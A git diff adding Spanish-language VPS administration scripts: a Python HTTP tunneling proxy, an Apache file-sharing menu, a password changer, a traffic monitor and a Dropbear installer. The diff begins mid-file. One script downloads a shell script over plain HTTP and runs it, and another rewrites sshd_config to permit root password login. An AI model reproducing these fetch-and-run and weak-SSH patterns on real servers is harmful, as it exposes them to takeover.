self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 443 + else: + port = 80 + port = 8080 + port = 8799 + port = 3128 + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + + if error: + break + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\n:-------PythonProxy-------:\n" + print "Listening addr: " + LISTENING_ADDR + print "Listening port: " + str(LISTENING_PORT) + "\n" + print ":-------------------------:\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Stopping...' + server.close() + break + +if __name__ == '__main__': + main() +PYTHON +) > $HOME/proxy.log & +echo -e "$BARRA" +echo -e "\e[1;31mProxy Iniciado Con Exito\e[0m" +echo "" +fun_bar "sudo apt-get install python -y" +fun_bar "sudo apt-get install python3 -y" +echo diff --git a/ADM-VENTAS-LEALDROID/request/Proxy-Publico.sh b/ADM-VENTAS-LEALDROID/request/Proxy-Publico.sh new file mode 100644 index 0000000..790e831 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/Proxy-Publico.sh @@ -0,0 +1,311 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +clear +cowsay -f eyes "esta herramienta le cambia y da color al status de conexion...." | lolcat +figlet ..dankelthaher.. | lolcat +BARRA="\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +if [[ ! -e /usr/bin/python ]]; then +echo -e "Introduca Estos Comandos En La Terminal" +echo -e "apt-get install python -y" +echo -e "apt-get install python pip -y" +exit +fi +echo -e "\033[1;31mPROXY PYTHON COLOR\033[0m" +echo -e "$BARRA" +echo -ne "Introduzca puerto: " +read port +while [[ -z $FMSG || $FMSG = @(s|S|y|Y) ]]; do +echo -e "$BARRA" +echo -ne "Introduzca Un Mensaje De Conexion: " +read mensage +echo -e "$BARRA" +echo -e "Seleccione El Color De Mensaje: " +cat << Eof +[ 1 ] -- #ff183f -- rojo +[ 2 ] -- #3fff18 -- verde +[ 3 ] -- #6518ff -- morado +[ 4 ] -- #ff6518 -- naranja +[ 5 ] -- #18ffd9 -- cyan +[ 6 ] -- #ffd700 -- amarillo +[ 7 ] -- #1e90ff -- azul +[ 8 ] -- #000000 -- negro +[ 9 ] -- #00ff7f -- agua marina +[ 10 ] -- #8b4513 -- cafe +Eof +read -p "Opcion: " cor +case $cor in +"1")corx="${mensage}";; +"2")corx="${mensage}";; +"3")corx="${mensage}";; +"4")corx="${mensage}";; +"5")corx="${mensage}";; +"6")corx="${mensage}";; +"7")corx="${mensage}";; +"8")corx="${mensage}";; +"9")corx="${mensage}";; +"10")corx="${mensage}";; +*)corx="${mensage}";; +esac +if [[ ! -z ${RETORNO} ]]; then +RETORNO="${RETORNO} ${corx}" +else +RETORNO="${corx}" +fi +echo -e "$BARRA" +echo -ne "Agregar Mas Mensajes? [S/N]: " +read FMSG +done +echo -e "$BARRA" +read -p "Enter..." +# Inicializando o Proxy +( +/usr/bin/python -x << PYTHON +# -*- coding: utf-8 -*- +import socket, threading, thread, select, signal, sys, time, getopt + +LISTENING_ADDR = '0.0.0.0' +LISTENING_PORT = int("$port") +PASS = str("$ipdns") +BUFLEN = 4096 * 4 +TIMEOUT = 60 +DEFAULT_HOST = '127.0.0.1:443' +msg = "HTTP/1.1 200 ($RETORNO)\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 !!!conexion exitosa!!!\r\n\r\n" +RESPONSE = str(msg) + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.host, self.port)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 443 + else: + port = 80 + port = 8080 + port = 8799 + port = 3128 + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + + if error: + break + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\n:-------PythonProxy-------:\n" + print "Listening addr: " + LISTENING_ADDR + print "Listening port: " + str(LISTENING_PORT) + "\n" + print ":-------------------------:\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Stopping...' + server.close() + break + +if __name__ == '__main__': + main() +PYTHON +) > $HOME/proxy.log & +echo -e "$BARRA" +echo "Proxy Iniciado Con Exito" +echo "Listen 0.0.0.0:${port} ..." +echo diff --git a/ADM-VENTAS-LEALDROID/request/apacheon.sh b/ADM-VENTAS-LEALDROID/request/apacheon.sh new file mode 100644 index 0000000..e246be1 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/apacheon.sh @@ -0,0 +1,88 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +barra="\033[0m\e[34m======================================================\033[1;37m" +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +fun_ip () { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP" +} +IP="$(fun_ip)" +echo -e "${cor[4]} [1] >${cor[3]} $(fun_trans "Colocar Archivo Online")" +echo -e "${cor[4]} [2] >${cor[3]} $(fun_trans "Remover Archivo Online")" +echo -e "${cor[4]} [3] >${cor[3]} $(fun_trans "Ver Links de Archivos Online")" +echo -e "$barra" +while [[ ${arquivoonlineadm} != @([1-3]) ]]; do +read -p "[1-3]: " arquivoonlineadm +tput cuu1 && tput dl1 +done +case ${arquivoonlineadm} in +3) +[[ -z $(ls /var/www/html) ]] && echo -e "$barra" || { + for my_arqs in `ls /var/www/html`; do + [[ "$my_arqs" = "index.html" ]] && continue + [[ "$my_arqs" = "index.php" ]] && continue + [[ -d "$my_arqs" ]] && continue + echo -e "\033[1;31m[$my_arqs] \033[1;36mhttp://$IP:81/$my_arqs\033[0m" + done + echo -e "$barra" + } +;; +2) +i=1 +[[ -z $(ls /var/www/html) ]] && echo -e "$barra" || { + for my_arqs in `ls /var/www/html`; do + [[ "$my_arqs" = "index.html" ]] && continue + [[ "$my_arqs" = "index.php" ]] && continue + [[ -d "$my_arqs" ]] && continue + select_arc[$i]="$my_arqs" + echo -e "${cor[2]}[$i] > ${cor[3]}$my_arqs - \033[1;36mhttp://$IP:81/$my_arqs\033[0m" + let i++ + done + echo -e "$barra" + echo -e "${cor[5]}$(fun_trans "Seleccione el archivo que desea borrar")" + echo -e "$barra" + while [[ -z ${select_arc[$slct]} ]]; do + read -p " [1-$i]: " slct + tput cuu1 && tput dl1 + done + arquivo_move="${select_arc[$slct]}" + [[ -d /var/www/html ]] && [[ -e /var/www/html/$arquivo_move ]] && rm -rf /var/www/html/$arquivo_move > /dev/null 2>&1 + [[ -e /var/www/$arquivo_move ]] && rm -rf /var/www/$arquivo_move > /dev/null 2>&1 + echo -e "${cor[5]}$(fun_trans "exito!")" + echo -e "$barra" + } +;; +1) +i="1" +[[ -z $(ls $HOME) ]] && echo -e "$barra" || { + for my_arqs in `ls $HOME`; do + [[ -d "$my_arqs" ]] && continue + select_arc[$i]="$my_arqs" + echo -e "${cor[2]} [$i] > ${cor[3]}$my_arqs" + let i++ + done + i=$(($i - 1)) + echo -e "${cor[5]}$(fun_trans "seleccione el archivo")" + echo -e "$barra" + while [[ -z ${select_arc[$slct]} ]]; do + read -p " [1-$i]: " slct + tput cuu1 && tput dl1 + done + arquivo_move="${select_arc[$slct]}" + [ ! -d /var ] && mkdir /var + [ ! -d /var/www ] && mkdir /var/www + [ ! -d /var/www/html ] && mkdir /var/www/html + [ ! -e /var/www/html/index.html ] && touch /var/www/html/index.html + [ ! -e /var/www/index.html ] && touch /var/www/index.html + chmod -R 755 /var/www + cp $HOME/$arquivo_move /var/www/$arquivo_move + cp $HOME/$arquivo_move /var/www/html/$arquivo_move + echo -e "\033[1;36m http://$IP:81/$arquivo_move\033[0m" + echo -e "$barra" + echo -e "${cor[5]}$(fun_trans "exito!")" + echo -e "$barra" + } +;; +esac \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/cambiopass.sh b/ADM-VENTAS-LEALDROID/request/cambiopass.sh new file mode 100644 index 0000000..8bb6f81 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/cambiopass.sh @@ -0,0 +1,21 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +clear +cowsay -f eyes "esta herramienta cambia la contrasea de tu vps...." | lolcat +figlet ..dankelthaher.. | lolcat +echo -e "\033[47;31mATENCION: \033[1;34m ESTA CONTRASENA SERA USADA PARA ENTRAR A SU SERVIDOR +\033[1;31m\033[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\033[1;31mESCRIBA SU NUEVA CONTRASENA\e[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +read -p ": " pass +(echo $pass; echo $pass)|passwd 2>/dev/null +sleep 1s +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\033[1;34mCONTRASENA CAMBIADA CON EXITO!\e[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" + +echo -e "\033[1;34mSU CONTRASENA AHORA ES: \033[1;32m$pass\e[0m" + + sleep 3s \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/dados.py b/ADM-VENTAS-LEALDROID/request/dados.py new file mode 100644 index 0000000..ce0e0a5 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/dados.py @@ -0,0 +1,77 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +clear +cowsay -f eyes "esta herramienta ayuda aproteger tu vps de un ataque DDOS" | lolcat +figlet ..dankelthaher.. | lolcat +BARRA1="\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "$BARRA1" + +if [ -d '/usr/local/ddos' ]; then + + echo; echo; echo "\e[1;31mDESINSTALA LA VERSION ANTERIOR CON UN-DDOS\e[0m" + + exit 0 + +else + + mkdir /usr/local/ddos + +fi + +echo -e "$BARRA1" + +echo -e "\e[1;34mInstalando DOS-Deflate 0.6\e[0m" +echo -e "$BARRA1" +sleep 4s + +echo -e "\e[1;31mDescargando archivos fuente ...\e[0m" +echo -e "$BARRA1" +sleep 4s + +wget -q -O /usr/local/ddos/ddos.conf http://www.inetbase.com/scripts/ddos/ddos.conf + +echo -e "\e[1;33mDESCARGANDO (dados.conf)\e[0m" +sleep 3s +echo "" + +wget -q -O /usr/local/ddos/LICENSE http://www.inetbase.com/scripts/ddos/LICENSE +echo -e "\e[1;33mDESCARGANDO \e[1;37m(LICENSE)\e[0m" +sleep 3s +echo "" + +wget -q -O /usr/local/ddos/ignore.ip.list http://www.inetbase.com/scripts/ddos/ignore.ip.list +echo -e "\e[1;33mDESCARGANDO (ignore.ip.list)\e[0m" +sleep 3s + +wget -q -O /usr/local/ddos/ddos.sh http://www.inetbase.com/scripts/ddos/ddos.sh + +chmod 0755 /usr/local/ddos/ddos.sh + +cp -s /usr/local/ddos/ddos.sh /usr/local/sbin/ddos +echo "" +echo -e "$BARRA1" + +echo -e "\e[0;32m...HECHO\e[0m" +sleep 3s + +echo -e "$BARRA1" +echo -e "\e[1;34mCreando CRON para ejecutar el script cada minuto ..... (ajuste predeterminado)\e[0m" +sleep 4s +/usr/local/ddos/ddos.sh --cron > /dev/null 2>&1 +echo -e "$BARRA1" +echo -e "\e[0;32m.....HECHO\e[0m" +sleep 3s + +echo -e "$BARRA1" +echo -e "\e[1;37mLa instalacion ha finalizado.\e[0m" +echo -e "$BARRA1" +echo -e "\e[1;37mEl archivo de configuracion esta en \e[1;33m/usr/local/ddos/ddos.conf\e[0m" +echo -e "$BARRA1" +echo -e "\e[1;37mGRACIAS POR UTILIZAR NEW-ADM \033[1;33m[\033[1;34m OFICIAL BY-DANKELTHAHER \033[1;33m]" +echo -e "$BARRA1" + +echo + + +exit \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/dados.sh b/ADM-VENTAS-LEALDROID/request/dados.sh new file mode 100644 index 0000000..b868dff --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/dados.sh @@ -0,0 +1,131 @@ +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit + +fun_trans () { +local texto +local retorno +declare -A texto +SCPidioma="${SCPdir}/idioma" +[[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} +local LINGUAGE=$(cat ${SCPidioma}) +[[ -z $LINGUAGE ]] && LINGUAGE=pt +[[ ! -e /etc/texto-adm ]] && touch /etc/texto-adm +source /etc/texto-adm +if [[ -z "$(echo ${texto[$@]})" ]]; then + retorno="$(source trans -e google -b pt:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" + if [[ $retorno = "" ]];then + retorno="$(source trans -e bing -b pt:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" + fi + if [[ $retorno = "" ]];then + retorno="$(source trans -e yandex -b pt:${LINGUAGE} "$@"|sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)" + fi +echo "texto[$@]='$retorno'" >> /etc/texto-adm +echo "$retorno" +else +echo "${texto[$@]}" +fi +} + +net_meter () { +net_dir="/etc/usr_cnx" +usr_text="$(fun_trans "USUÁRIOS")" +datos_text="$(fun_trans "USO APROXIMADO")" +porcen_text="$(fun_trans "CONSUMO TOTAL")" +net_cent="/tmp/porcentagem" +sed -i '/^$/d' $net_dir + [[ ! -e "$net_cent" ]] && touch $net_cent + while read cent; do + echo "$cent" | awk '{print $2}' >> $net_cent + done < $net_dir + por_cent=$(paste -sd+ $net_cent | bc) + rm $net_cent +bb=$(printf '%-18s' "$datos_text") +aa=$(printf '%-19s' "$usr_text") +cc=$(printf '%-18s' "$porcen_text") +echo -e "\033[1;35m MONITOR DE CONSUMO \033[1;32m[NEWADM]" +echo -e "$barra" +echo -e "\033[1;33m $aa $bb $cc " +echo -e "$barra" +while read u; do +b=$(printf '%-18s' "$(($(echo $u | awk '{print $2}')/970)) - MB") +a=$(printf '%-19s' "$(echo $u | awk '{print $1}')") +[[ "$por_cent" = "0" || "$por_cent" = "" ]] && por_cent="1" +pip=$(echo $u | awk '{print $2}') +[[ "$pip" = "" || "$pip" = "0" ]] && pip="1" +percent_user=$(($pip*100/$por_cent)) > /dev/null 2>&1 +[[ $percent_user = "0" ]] && percent_user="1" +c=$(printf '%-18s' "$percent_user %%") +if [ "$(($(echo $u | awk '{print $2}')/970))" -gt "1" ]; then +echo -e "\033[1;32m $a \033[1;31m$b \033[1;32m$c" +fi +done < $net_dir +[[ "$(cat $net_dir)" = "" ]] && echo -e "\033[1;31m $(fun_trans "Não há informação de consumo")!" +echo -e "$barra" +unset net_dir +} +fun_net () { +( +log_1="/tmp/tcpdump" +log_2="/tmp/tcpdumpLOG" +usr_dir="/etc/usr_cnx" +[[ -e "$log_1" ]] && mv -f $log_1 $log_2 +[[ ! -e $usr_dir ]] && touch $usr_dir +#ENCERRA TCP +for pd in `ps x | grep tcpdump | grep -v grep | awk '{print $1}'`; do +kill -9 $pd > /dev/null 2>&1 +done +#INICIA TCP +tcpdump -s 50 -n 1> /tmp/tcpdump 2> /dev/null & +[[ ! -e /tmp/tcpdump ]] && touch /tmp/tcpdump +#ANALIZA USER +for user in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do +touch /tmp/$user +ip_openssh $user > /dev/null 2>&1 +ip_drop $user > /dev/null 2>&1 +sed -i '/^$/d' /tmp/$user +pacotes=$(paste -sd+ /tmp/$user | bc) +rm /tmp/$user +if [ "$pacotes" != "" ]; then + if [ "$(cat $usr_dir | grep "$user")" != "" ]; then + pacotesuser=$(cat $usr_dir | grep "$user" | awk '{print $2}') + [[ $pacotesuser = "" ]] && pacotesuser=0 + [[ $pacotesuser != +([0-9]) ]] && pacotesuser=0 + ussrvar=$(cat $usr_dir | grep -v "$user") + echo "$ussrvar" > $usr_dir + pacotes=$(($pacotes+$pacotesuser)) + echo -e "$user $pacotes" >> $usr_dir + else + echo -e "$user $pacotes" >> $usr_dir + fi +fi +unset pacotes +done +) & +} + +ip_openssh () { +user="$1" +for ip in `lsof -u $user -P -n | grep "ESTABLISHED" | awk -F "->" '{print $2}' |awk -F ":" '{print $1}' | grep -v "127.0.0.1"`; do + packet=$(cat $log_2 | grep "$ip" | wc -l) + echo "$packet" >> /tmp/$user + unset packet +done +} + +ip_drop () { +user="$1" +loguser='Password auth succeeded' +touch /tmp/drop +for ip in `cat /var/log/auth.log | tail -100 | grep "$user" | grep "$loguser" | awk -F "from" '{print $2}' | awk -F ":" '{print $1}'`; do + if [ "$(cat /tmp/drop | grep "$ip")" = "" ]; then + packet=$(cat $log_2 | grep "$ip" | wc -l) + echo "$packet" >> /tmp/$user + echo "$ip" >> /tmp/drop + fi +done +rm /tmp/drop +} +fun_net > /dev/null 2>&1 && net_meter \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/dados.zip b/ADM-VENTAS-LEALDROID/request/dados.zip new file mode 100644 index 0000000..200fc88 Binary files /dev/null and b/ADM-VENTAS-LEALDROID/request/dados.zip differ diff --git a/ADM-VENTAS-LEALDROID/request/dropbear.sh b/ADM-VENTAS-LEALDROID/request/dropbear.sh new file mode 100644 index 0000000..1deacdd --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/dropbear.sh @@ -0,0 +1,194 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +barra="\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +fun_ip () { +if [[ -e /etc/MEUIPADM ]]; then +IP="$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +fun_eth () { +eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}') + [[ $eth != "" ]] && { + echo -e "$barra" + echo -e "${cor[3]} $(fun_trans "Aplicar el sistema para mejorar los paquetes SSH?")" + echo -e "${cor[3]} $(fun_trans "Opcion para usuarios avanzados")" + echo -e "$barra" + read -p " [S/N]: " -e -i n sshsn + [[ "$sshsn" = @(s|S|y|Y) ]] && { + echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH ...")" + echo -e " $(fun_trans "¿Cuál es la tasa RX?")" + echo -ne "[ 1 - 999999999 ]: "; read rx + [[ "$rx" = "" ]] && rx="999999999" + echo -e " $(fun_trans "¿Cuál es la tarifa TX")" + echo -ne "[ 1 - 999999999 ]: "; read tx + [[ "$tx" = "" ]] && tx="999999999" + apt-get install ethtool -y > /dev/null 2>&1 + ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1 + } + echo -e "$barra" + } +} + +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +fun_dropbear () { + [[ -e /etc/default/dropbear ]] && { + echo -e "\033[1;32m $(fun_trans "REMOVIENDO DROPBEAR")\n$barra" + service dropbear stop & >/dev/null 2>&1 + fun_bar "apt-get remove dropbear -y" + echo -e "$barra\n\033[1;32m $(fun_trans "Dropbear Removido Con Exito!!!")\n$barra" + [[ -e /etc/default/dropbear ]] && rm /etc/default/dropbear + return 0 + } +echo -e "\033[1;32m $(fun_trans "INSTALADOR DROPBEAR ADM-ULTIMATE")\n$barra" +echo -e "\033[1;31m $(fun_trans "Seleccione Puertos Válidos en orden secuencial:")\033[1;32m 22 80 81 82 85 90\033[1;37m" +echo -e "$barra" +echo -ne "\033[1;31m $(fun_trans "Introduzca el puerto"): \033[1;37m" && read DPORT +tput cuu1 && tput dl1 +TTOTAL=($DPORT) + for((i=0; i<${#TTOTAL[@]}; i++)); do + [[ $(mportas|grep "${TTOTAL[$i]}") = "" ]] && { + echo -e "\033[1;33m $(fun_trans "Puerta Elegida:")\033[1;32m ${TTOTAL[$i]} OK" + PORT="$PORT ${TTOTAL[$i]}" + } || { + echo -e "\033[1;33m $(fun_trans "Puerta Elegida:")\033[1;31m ${TTOTAL[$i]} FALLO" + } + done + [[ -z $PORT ]] && { + echo -e "\033[1;31m $(fun_trans "No se ha elegido ninguna puerta válida")\033[0m" + return 1 + } +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] && echo -e "/bin/false" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes" > /etc/ssh/sshd_config +echo -e "${cor[2]} $(fun_trans "Instalando dropbear")" +echo -e "$barra" +fun_bar "apt-get install dropbear -y" +echo -e "$barra" +touch /etc/dropbear/banner +echo -e "${cor[2]} $(fun_trans "Configurando dropbear")" +cat < /etc/default/dropbear +NO_START=0 